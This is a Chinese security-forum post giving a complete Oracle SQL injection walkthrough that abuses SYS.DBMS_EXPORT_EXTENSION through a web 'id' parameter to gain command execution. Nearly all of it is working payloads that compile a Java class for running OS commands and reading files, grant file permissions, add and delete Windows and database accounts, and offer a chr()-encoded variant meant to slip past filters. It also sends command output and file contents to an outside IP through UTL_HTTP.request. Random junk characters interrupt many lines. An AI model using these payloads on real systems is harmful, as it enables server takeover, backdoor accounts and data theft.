找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2342|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 4 ], `9 n4 a, X: D7 S- R" c: t( \* k& Q
( l, h( i- x7 K& r* Q+ L% I# U, ^) l
  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) - W% a+ O4 ^  w6 Q: b5 q
的形式即可。(用" 'a'|| "是为了让语句返回true值) 1 j8 I+ O+ w1 t0 Z
语句有点长,可能要用post提交。 2 T/ p; {7 Q6 N2 ~) i" D
以下是各个步骤: : w9 y+ J/ F$ M' h
1.创建包 3 {7 I. @  P; o9 T% d  m
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
+ @; y6 w; w- w3 N: e/xxx.jsp?id=1 and '1'<>'a'||(
) V  i4 X5 k- ^9 d2 D2 q& sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  `$ a$ L8 l' \* w  Icreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(& \' O, |% b  E
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
: d9 S" _6 l' C, ~: c4 B}'''';END;'';END;--','SYS',0,'1',0) from dual
2 n; J2 i6 `( E3 Q/ A8 X)
+ ]! o9 N7 P* H6 X; K. b------------------------
: D" i, ?! r0 X; M如果url有长度限制,可以把readFile()函数块去掉,即: , S  A6 n* e# i. l& B; l9 E
/xxx.jsp?id=1 and '1'<>'a'||(
, \/ v" ~9 H& c$ V% H. kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  Z! [! ?  [9 U' kcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(% e' ^) T9 _" q% a  {
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
9 z6 N, B) z/ a: ?; c}'''';END;'';END;--','SYS',0,'1',0) from dual ( A+ T# G& S. E' j, E/ p8 s
) : C% [8 w# L! i  H% i
同时把后面步骤 提到的 对readFile()的处理语句去掉。
/ s5 P- [$ A" F8 c+ L------------------------------ ; B2 ]- n: M/ u8 {+ ^
2.赋Java权限
- S1 Q2 J( I8 r3 [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual: I, z' z2 r7 |% E& Z; m& }
3.创建函数
, |9 {1 o' R2 f1 Y1 fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 ^/ _) F" b( l3 t4 y% v
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
8 `7 Z, p! m# x3 I3 v  nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, e3 k9 o6 Y. ccreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual8 x; F5 h( q- V* l; O& `) s9 W
4.赋public执行函数的权限
1 W; a: v) d! Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
8 r, w# r, g5 B  T9 ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual; I& m, _8 s* Y" n* F4 ~
5.测试上面的几步是否成功
/ K4 J( {' n8 H! z" U/ sand '1'<>'11'||(
- F# L; p& e  e' U; Oselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD' 9 |" E* `% U+ [3 A
)
& p* d- U' [: p7 Rand '1'<>(
8 w9 h  ]6 y" E% F+ y: L% Fselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE' 9 ]% C1 H* |3 ?! P- S, P  S% V
) 1 ^3 L3 P3 E4 L6 G- r( ?
6.执行命令:
% d) q5 T8 O, P5 b/xxx.jsp?id=1 and '1'<>( . h8 [* t% Q7 ~
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual - q2 i2 h% q3 L, h8 u

+ _6 U: h- J, u1 H) 0 Y$ i% V) l! W9 u$ c
/xxx.jsp?id=1 and '1'<>(
" C& N6 X. u8 C, {select  sys.LinxReadFile('c:/boot.ini') from dual
# N" ]" s' a* h. h& X) w3 G& n8 {9 h$ G6 k1 i- R. Y' T
)
$ Y" d: @& r& Y3 k% q; M. O3 V  
0 h2 u9 t% Z. m注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
) u( Y% p% y: h0 L* D( _* _5 V! A3 g如果要查看运行结果可以用 union : $ V$ C% s. i, t' Q( p- h' x& S. L3 p
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual; F: B9 R& l- b4 o
或者UTL_HTTP.request(:
% G" x( U% u/ U& h/xxx.jsp?id=1 and '1'<>( . f2 D$ d- P* c' a8 b4 @& G
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual! ]. _: G% h) S3 v  j; B; X
) 8 f) V" A7 M$ f- t5 O
/xxx.jsp?id=1 and '1'<>( 4 j, W$ Q$ h8 c
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual5 c1 }8 z& Z# g4 d8 u* @
) 2 `0 \# M, n. u( D
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
* W; k" X( ~% @/ H6 p--------------------
2 B1 t5 ?- L, O1 n6.内部变化
! \( H3 q  a% N2 b9 @' \通过以下命令可以查看all_objects表达改变:
" l7 T( f4 Q3 n* F6 B; K8 l) U% j: xselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'% [0 K4 j/ k% I8 z
7.删除我们创建的函数 ) K5 v3 A3 Z9 A1 _, P; o9 e3 D
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; C" S# m1 o, _4 Cdrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual 2 t+ E) B- o4 I( w% o9 i
==================================================== / @' @: e6 t, n" Y2 w# n3 v
全文结束。谨以此文赠与我的朋友。 & v1 n  H" b! _; d; z/ G( ~2 N6 b& }
linx 7 f9 n5 h; C/ M4 Y/ ^2 F
124829445 + {" o/ @; }6 P0 T
2008.1.12
; {/ B. H# l8 E* o8 zlinyujian@bjfu.edu.cn : C- L7 ?. e; q, u5 G" L" D
====================================================================== 4 }9 }  z' Z7 U0 [
测试漏洞的另一方法:
% ?+ l* n5 |. Y1 k* o9 l0 {创建oracle帐号: 3 q8 r0 V& r7 r( C* e
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 _+ Y! x% `9 y& T2 B3 n1 qCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual% s8 o; p3 G+ ?! G( `: e4 Y" \8 n
即:
+ p6 J9 R$ Q% dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),  y9 y4 q; V+ c9 G# b# ]
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 8 {/ P  H8 v7 G9 k2 R9 b; g
确定漏洞存在: % W/ x) L- ?* Z
1<>( 1 @6 s! ^2 l6 f
select user_id from all_users where username='LINXSQL' 8 J7 ^  W$ j! |7 Z! z! w
) & j) p+ m- X3 T3 ~# U, B8 ^' {$ H8 P. ?
给linxsql连接权限:
  s4 O0 Y' G7 [7 tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ L4 n# s* T! D% d9 G  I
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual % V( k8 `' R' d3 v
删除帐号:
" H$ B. @, V3 `' M3 tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& o3 y( M0 z! s3 w% Y
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual 9 \) m; t* J; }, b* B6 N1 A! t
====================== ' V" @& }$ q# Z: ?. o9 n' J
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
  H) c' {2 Q6 _* V* o$ v& u1.jsp?id=1 and '1'<>( , h6 _/ J2 U: o# h, I+ H( y( ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' j, r2 Q+ |, X( Z& {6 k
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual$ G; \7 V& L/ M/ u" A  P, ]
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
1 h9 p& v, S! S! T )
0 s0 w/ E: f  Z, y
. d0 ^; y' f. V7 i6 W$ W
* A# C  Y$ q0 ?, H5 o
6 F& P7 h4 Z1 J8 \: r6 a) m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表